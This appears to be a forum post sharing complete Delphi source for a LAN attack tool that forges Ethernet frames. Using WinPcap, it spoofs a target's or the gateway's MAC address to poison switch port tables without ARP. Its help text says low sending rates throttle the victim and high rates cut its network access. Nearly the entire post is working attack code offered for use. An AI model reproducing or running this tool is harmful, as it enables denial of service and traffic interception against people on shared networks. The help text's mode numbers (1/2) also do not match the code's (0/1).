基于MAC与PORT欺骗 比MAC与IP(ARP) 来得更容易些!

代码:
{*******************************************************}
{                                                       }
{       基于MAC与PORT欺骗  (无ARP)                    }
{                                                       }
{       版权所有 (C) 2009 Open[xgc]                     }
{                                                       }
{*******************************************************}

program Test;

{$APPTYPE CONSOLE}

uses
  windows,SysUtils,IpHlpApi,IpTypes,Packet32,WinSock;

const
  MAC_SIZE = 6;
type
  MACADDRESS = array[0 .. MAC_SIZE - 1] of UCHAR;
type
  ETHERNET_HDR = packed record
  Destination:             MACADDRESS;
  Source:                  MACADDRESS;
  Protocol:                WORD;
  end;

function MactoStr(Mac: MACADDRESS): String;
var
  ch1, ch2: Byte;
  i: Integer;
begin
  Result := '';
  for i := 0 to MAC_SIZE - 1 do
  begin
    ch1 := Mac[i] and $F0;
    ch1 := ch1 shr 4;
    if ch1 > 9 then
      ch1 := ch1 + Ord('A') - 10
    else
      ch1 := ch1 + Ord('0');
    ch2 := Mac[i] and $0F;
    if ch2 > 9 then
      ch2 := ch2 + Ord('A') - 10
    else
      ch2 := ch2 + Ord('0');
    Result := Result + Chr(ch1) + Chr(ch2);
    if i < 5 then
      Result := Result + ':';
  end;
end;

function IPtoStr(IP: DWORD): String;
begin
  result:=IntToStr((IP and $FF000000) shr 24 )+'.';
   result:=result+IntToStr((IP and $00FF0000) shr 16 )+'.';
    result:=result+IntToStr((IP and $0000FF00) shr 8 )+'.';
     result:=Result+IntToStr((IP and $000000FF) shr 0 );

end;

function Str2IP(s: String): DWORD;
var
  i: Integer;
  Index: Integer;
  Digit: String;
  IP: array [0 .. 4 - 1] of DWORD;
  Len: Integer;
begin
//try
  Index := 1;
  for i := 0 to 4 - 1 do
    IP[i] := 0;
  Len := Length(s);
  for i := 0 to 4 - 1 do
  begin
    Digit := '';
    while(s[Index] >= '0') and (s[Index] <= '9') and (Index <= Len) do
    begin
      Digit := Digit + s[Index];
      inc(Index);
    end;
    inc(Index);
    IP[i] := StrToInt(Digit);
  end;
  Result :=
    IP[0] shl 24 +
    IP[1] shl 16 +
    IP[2] shl 8 +
    IP[3] shl 0;
//  except
    // Result:=0;
    // end;
end;


function StrToMac(s: String): MACADDRESS;
var
  i: Integer;
  Index: Integer;
  Ch: String;
  Mac: MACADDRESS;
begin
  Index := 1;
  for i := 0 to MAC_SIZE - 1 do
  begin
    Ch := Copy(s, Index, 2);
    Mac[i] := StrToInt('$' + Ch);
    inc(Index, 2);
    while s[Index] = ':' do
      inc(Index);
  end;
  Result := Mac;
end;

Function GetSubStrNum(aString:String;SepChar:String):integer;
var
     i:Integer;
     StrLen:Integer;
     Num:Integer;
  begin
     StrLen:=Length(aString);
     Num:=0;
     For i:=1 to StrLen do
     If Copy(aString,i,1) = SepChar then
     Num:=Num+1;
     result:=Num;
     end;



function Split(Input: string; Deliminator: string; Index: Integer): string;
var
  StringLoop, StringCount: Integer;
  Buffer: string;
begin
  StringCount := 0;
  for StringLoop := 1 to Length(Input) do
  begin
    if (Copy(Input, StringLoop, 1) = Deliminator) then
    begin
      Inc(StringCount);
      if StringCount = Index then
      begin
        Result := Buffer;
        Exit;
      end
      else
      begin
        Buffer := '';
      end;
    end
    else
    begin
      Buffer := Buffer + Copy(Input, StringLoop, 1);
    end;
  end;
  Result := Buffer;
end;

function GetMacByIP(Const IPAddr: string): string;
var
  dwResult: DWord;
  nIPAddr: integer;
  nMacAddr: array[0..5] of Byte;
  nAddrLen: Cardinal;
  WSAData: TWSAData;
begin
  if WSAStartup($101, WSAData)=-1 then Exit;
  nIPAddr := INet_Addr(PChar(IPAddr));
  if nIPAddr = INADDR_NONE then exit;
  nAddrLen := 6;
  dwResult:= 1;
  try
    dwResult := SendARP(nIPAddr, 0, @nMacAddr, nAddrLen);
  except end;
  if dwResult = 0 then
    result := (IntToHex(nMacAddr[0], 2) + ':' +
      IntToHex(nMacAddr[1], 2) + ':' +
      IntToHex(nMacAddr[2], 2) + ':' +
      IntToHex(nMacAddr[3], 2) + ':' +
      IntToHex(nMacAddr[4], 2) + ':' +
      IntToHex(nMacAddr[5], 2))
  else
    result := '';
  WSACleanup;
end;

procedure MyNetwork(Ms: string;var IP: DWORD;var Mac: MACADDRESS;var Gateway: DWORD);
var
  i: Integer;
  p, pAdapterInfo: PIP_ADAPTER_INFO;
  uOutBufLen: ULONG;
  dwRes: DWORD;
begin
  pAdapterInfo := nil;
  uOutBufLen := 0;
  dwRes := GetAdaptersInfo(pAdapterInfo, uOutBufLen);
  if dwRes = ERROR_BUFFER_OVERFLOW then
  begin
    GetMem(pAdapterInfo, uOutBufLen);
    dwRes := GetAdaptersInfo(pAdapterInfo, uOutBufLen);
  end;
  if dwRes <> ERROR_SUCCESS then
  begin
    exit;
  end;
  p := pAdapterInfo;
  while p <> nil do
  begin
    if Pos(String(p^.AdapterName), Ms) <> 0 then
      break;
    p := p^.Next;
  end;
try
  if p <> nil then
  begin
    IP := Str2IP(p^.IpAddressList.IpAddress.S);
    for i := 0 to MAC_SIZE - 1 do
      Mac[i] := p^.Address[i];
    Gateway := Str2IP(p^.GatewayList.IpAddress.S);
  end;
  except
    end;
  FreeMem(pAdapterInfo);
end;

procedure Help;
begin
  WriteLn('******************************************************************');
  WriteLn('*                    基于MAC与PORT欺骗                           *');
  WriteLn('*  格式: Test.exe [IP地址] [网卡号] [模式:1欺骗网关 2欺骗目标]]  *');
  WriteLn('*  实例: Test.exe 192.168.0.1 0 1 或  Test.exe 192.168.0.1 0 1   *');
  WriteLn('*        作用:强弱示攻击速度定 低速度达到限流 高速度达到断网     *');
  WriteLn('*                      作者:Open                                 *');
  WriteLn('******************************************************************');
end;


function GetEthernet(M:Integer):string ;
var
     Ethernet:string;
     NameLength,Num,i:Longword;
     NameList : Array [0..1024] of char;
     Name:array[0..10] of string;
begin
   NameLength := 1024;
   ZeroMemory(@NameList,1024);
   PacketGetAdapterNames(NameList,@NameLength);
   for i:=0 to NameLength-1 do
   begin
   if ((NameList[i]=#0) and (NameList[i+1]=#0))then
         break
       else
       if ((NameList[i]=#0) and (NameList[i+1]<>#0))then
           NameList[i]:=char(',');
       end;
        Ethernet:=StrPas(NameList);
        Num:=GetSubStrNum(Ethernet,',');
      for i:=0 to Num do
       begin
          Name[i]:= Split(Ethernet,',',i+1);
          if M < 0 then
            begin
               Writeln('网卡列表:');
               WriteLn('         ' + inttostr(i)+ ': Ethernet:'+ Name[i]);
            end;
       end;
       Result := Name[M];
end;


var
  Ethernet,DesMac:string;
  p:Padapter;
  pp:Ppacket ;
  IP,Gateway: DWORD;
  Mac: MACADDRESS;
  SendData: ETHERNET_HDR;
  Ok:Boolean = True;

begin
     Help;
     GetEthernet(-1);
     if (ParamStr(1) = '') and (ParamStr(2) = '') and (ParamStr(3) = '') then Exit;

     Ethernet := GetEthernet(StrToInt(ParamStr(2)));
     MyNetwork(Ethernet,ip,mac,Gateway);

     WriteLn('网 卡:'+ Ethernet);
     WriteLn('本机IP:'+iptostr(ip));
     WriteLn('本机MAC:'+MacToStr(Mac));
     WriteLn('本机网关:'+iptostr(Gateway));

     WriteLn('目标IP:'+ ParamStr(1));
     DesMac :=  GetMacByIP(ParamStr(1));
     if DesMac = '' then
     begin
       WriteLn('获取目标MAC失败');
       Exit;
     end;
     WriteLn('目标MAC:'+ DesMac);

     case StrToInt(ParamStr(3)) of
       0: begin
                SendData.Destination := StrToMac(DesMac);   //目标
                SendData.Source := StrToMac(GetMacByIP(iptostr(Gateway)) );   //网关
          end;

       1: begin
                SendData.Destination := StrToMac(GetMacByIP(iptostr(Gateway)) );   //网关
                SendData.Source := StrToMac(DesMac);  //目标
          end;
     end;

     SendData.Protocol := 0;

     p:= PacketOpenAdapter(pchar(Ethernet));
     if (p=nil)or (p.hFile=INVALID_HANDLE_VALUE) then
     begin
        Writeln('初始化失败...');
        Exit;
     end;
     
     pp:=PacketAllocatePacket;
     PacketInitPacket(pp, @SendData,SizeOf(SendData));
     Writeln('开始欺骗......');
    while ok do
    begin
      PacketSendPacket(p, pp, true);
      Sleep(10);
    end;
    
   PacketFreePacket(pp);
   PacketCloseAdapter(p);
end.